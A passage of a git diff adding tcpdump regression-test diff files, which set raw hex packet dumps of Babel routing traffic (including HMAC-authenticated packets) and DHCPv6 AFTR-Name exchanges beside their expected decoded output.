+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+< 	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 178: 
+< 	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+< 	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+< 	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+< 	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+< 	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+< 	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+< 	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+< 	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+< 	0x00a0:  0200                                     ..
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+< 	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+< 	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+< Out ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+< 	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+< 	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+< 	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 120: 
+< 	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+< 	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< 	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+< 	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+< 	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+< 	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+< 	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+< 	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+< 	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+< 	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+< 	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+< 	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+< 	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 112: 
+< 	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+< 	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+< 	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
+---
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8042 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40102 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 122) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (110)
+> 	Update/prefix/id 2001:660:3301:8063:218:84ff:fe1a:615d/128 metric 1 seqno 32272 interval 8000
+> 	Next Hop 192.168.4.25
+> 	Update 192.168.4.195/32 metric 1 seqno 32272 interval 8000
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 0 seqno 40149 interval 8000
+> 	Update ::/0 metric 196 seqno 40149 interval 8000
+> 	Update 192.168.4.25/32 metric 0 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 8043 interval 2000
+> 	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40103 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8044 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 40104 interval 2000
+> 	IHU fe80::68d3:1235:d068:1f9e txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 8045 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+> 	Hello seqno 40105 interval 2000
+> IP6 (hlim 1, next-header UDP (17) payload length: 64) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (52)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> 	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> 	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+> IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+> 	Hello seqno 8046 interval 2000
+> 	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+> IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+> 	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+> IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+> 	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+> IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+> IP6 (hlim 1, next-header Options (0) payload length: 56) fe80::68d3:1235:d068:1f9e > ff02::16: HBH (rtalert: 0x0000) (padn)[icmp6 sum ok] ICMP6, multicast listener report v2, 2 group record(s) [gaddr ff02::1:6 to_ex, 0 source(s)] [gaddr ff02::cca6:c0f9:e182:5359 to_ex, 0 source(s)]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel_auth.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel_auth.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..5fe77629a6df1d14ce354342530802434059e477
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel_auth.out.diff
@@ -0,0 +1,46 @@
+1,31c1,13
+< b0:99:28:c8:d6:46 > 33:33:00:01:00:06, ethertype IPv6 (0x86dd), length 490: 
+< 	0x0000:  6c00 0000 01b4 1101 fe80 0000 0000 0000  l...............
+< 	0x0010:  b299 28ff fec8 d646 ff02 0000 0000 0000  ..(....F........
+< 	0x0020:  0000 0000 0001 0006 1a28 1a28 01b4 298d  .........(.(..).
+< 	0x0030:  2a02 01a8 0406 0000 e316 0190 080a 0040  *..............@
+< 	0x0040:  0000 ffff a1af ffff 0902 0000 0b06 0002  ................
+< 	0x0050:  4fd0 c1f0 0c16 001e ad0f a7cd 8d5a 1898  O............Z..
+< 	0x0060:  ec54 09c8 edda 68b3 aca2 1b80 0c22 0032  .T....h......".2
+< 	0x0070:  8239 f283 d985 047f a4b8 8597 fde3 2464  .9............$d
+< 	0x0080:  55c6 e4dd 917b 1441 c2f3 a82b 9f73 7674  U....{.A...+.svt
+< 	0x0090:  0c42 03e8 6718 cb4c 2bb0 976c 127a b3cc  .B..g..L+..l.z..
+< 	0x00a0:  cbfa 1105 a1d1 58f0 35bc 9fad 86b0 610a  ......X.5.....a.
+< 	0x00b0:  7acd 27e5 a3d5 a309 0ffb 0312 d7cb b318  z.'.............
+< 	0x00c0:  34e5 d3ea 2b68 cd1f ec3c fb9c e731 d16b  4...+h...<...1.k
+< 	0x00d0:  a8fe ba8c 0c32 03e8 d2a5 b80f f9d0 0690  .....2..........
+< 	0x00e0:  7e3b 6601 c0c2 55d7 d12d 6ec6 1815 e413  ~;f...U..-n.....
+< 	0x00f0:  a334 e2a0 d927 1c75 afbc 086c 070c 714e  .4...'.u...l..qN
+< 	0x0100:  3eff 3496 c20c 56fb 0c16 0064 7213 ced6  >.4...V....dr...
+< 	0x0110:  6fe7 1540 34ec 64cd 14ae 4142 a092 df33  o..@4.d...AB...3
+< 	0x0120:  0c42 07d0 2a5d 9d55 393b 19e4 40fa c49b  .B..*].U9;..@...
+< 	0x0130:  da52 1e18 a7fe 77f7 ab4a 9037 7009 e46e  .R....w..J.7p..n
+< 	0x0140:  2ffe 4933 6435 c7e4 e7be 2159 96df 4f59  /.I3d5....!Y..OY
+< 	0x0150:  c167 ea1c ccdb 4ff7 88da 29a3 0e34 d974  .g....O...)..4.t
+< 	0x0160:  307a dff4 0c32 07d0 fe91 af27 eee1 37ef  0z...2.....'..7.
+< 	0x0170:  489f 37fe e449 100c da8c cb3e 794d 0c4a  H.7..I.....>yM.J
+< 	0x0180:  225d 1272 4a8c e2ff c858 11b8 79cc 566f  "].rJ....X..y.Vo
+< 	0x0190:  d172 2698 4709 1ed1 0c42 0bb8 38c4 d828  .r&.G....B..8..(
+< 	0x01a0:  83a5 7785 00d7 28d1 e243 e757 9de9 6fa7  ..w...(..C.W..o.
+< 	0x01b0:  26c9 db7f 0805 c52e 96fe fdce 7a5f b9af  &...........z_..
+< 	0x01c0:  2cb8 4570 3926 eaab 43c3 e449 89d6 ccb1  ,.Ep9&..C..I....
+< 	0x01d0:  58fc 06db 455e 9f8d 0550 b54f            X...E^...P.O
+---
+> IP6 (class 0xc0, hlim 1, next-header UDP (17) payload length: 436) fe80::b299:28ff:fec8:d646.6696 > ff02::1:6.6696: [udp sum ok] babel 2 (424)
+> 	Hello seqno 58134 interval 400
+> 	Update/id ::/0 metric 65535 seqno 41391 interval 65535
+> 	Request for any
+> 	TS/PC timestamp 1339081200 packetcounter 2
+> 	HMAC key-id 30 digest-20 AD0FA7CD8D5A1898EC5409C8EDDA68B3ACA21B80
+> 	HMAC key-id 50 digest-32 8239F283D985047FA4B88597FDE3246455C6E4DD917B1441C2F3A82B9F737674
+> 	HMAC key-id 1000 digest-64 6718CB4C2BB0976C127AB3CCCBFA1105A1D158F035BC9FAD86B0610A7ACD27E5A3D5A3090FFB0312D7CBB31834E5D3EA2B68CD1FEC3CFB9CE731D16BA8FEBA8C
+> 	HMAC key-id 1000 digest-48 D2A5B80FF9D006907E3B6601C0C255D7D12D6EC61815E413A334E2A0D9271C75AFBC086C070C714E3EFF3496C20C56FB
+> 	HMAC key-id 100 digest-20 7213CED66FE7154034EC64CD14AE4142A092DF33
+> 	HMAC key-id 2000 digest-64 2A5D9D55393B19E440FAC49BDA521E18A7FE77F7AB4A90377009E46E2FFE49336435C7E4E7BE215996DF4F59C167EA1CCCDB4FF788DA29A30E34D974307ADFF4
+> 	HMAC key-id 2000 digest-48 FE91AF27EEE137EF489F37FEE449100CDA8CCB3E794D0C4A225D12724A8CE2FFC85811B879CC566FD172269847091ED1
+> 	HMAC key-id 3000 digest-64 38C4D82883A5778500D728D1E243E7579DE96FA726C9DB7F0805C52E96FEFDCE7A5FB9AF2CB845703926EAAB43C3E44989D6CCB158FC06DB455E9F8D0550B54F
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-AFTR-Name-RFC6334.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-AFTR-Name-RFC6334.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..78af6c9ac01ddcfad06d992e69eaf40c33021194
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-AFTR-Name-RFC6334.out.diff
@@ -0,0 +1,49 @@
+1,43c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 a641  .........".#.8.A
+< 	0x0030:  01d8 1eb8 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0006 0004 0017 0040 0008 0002 0000  .........@......
+< 	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+< 	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 008e a2c0  .........#."....
+< 	0x0030:  02d8 1eb8 0019 0029 0203 0405 0000 0096  .......)........
+< 	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+< 	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+< 	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+< 	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+< 	0x00b0:  6e03 6e65 7400                           n.net.
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+< 	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0067 5876  .........".#.gXv
+< 	0x0030:  031e 291d 0001 000a 0003 0001 0001 0203  ..).............
+< 	0x0040:  0405 0002 000e 0001 0001 183f 4ef0 0011  ...........?N...
+< 	0x0050:  2233 4455 0006 0004 0017 0040 0008 0002  "3DU.......@....
+< 	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+< 	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+< 	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+< 	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 008e 9415  .........#."....
+< 	0x0030:  071e 291d 0019 0029 0203 0405 0000 0096  ..)....)........
+< 	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
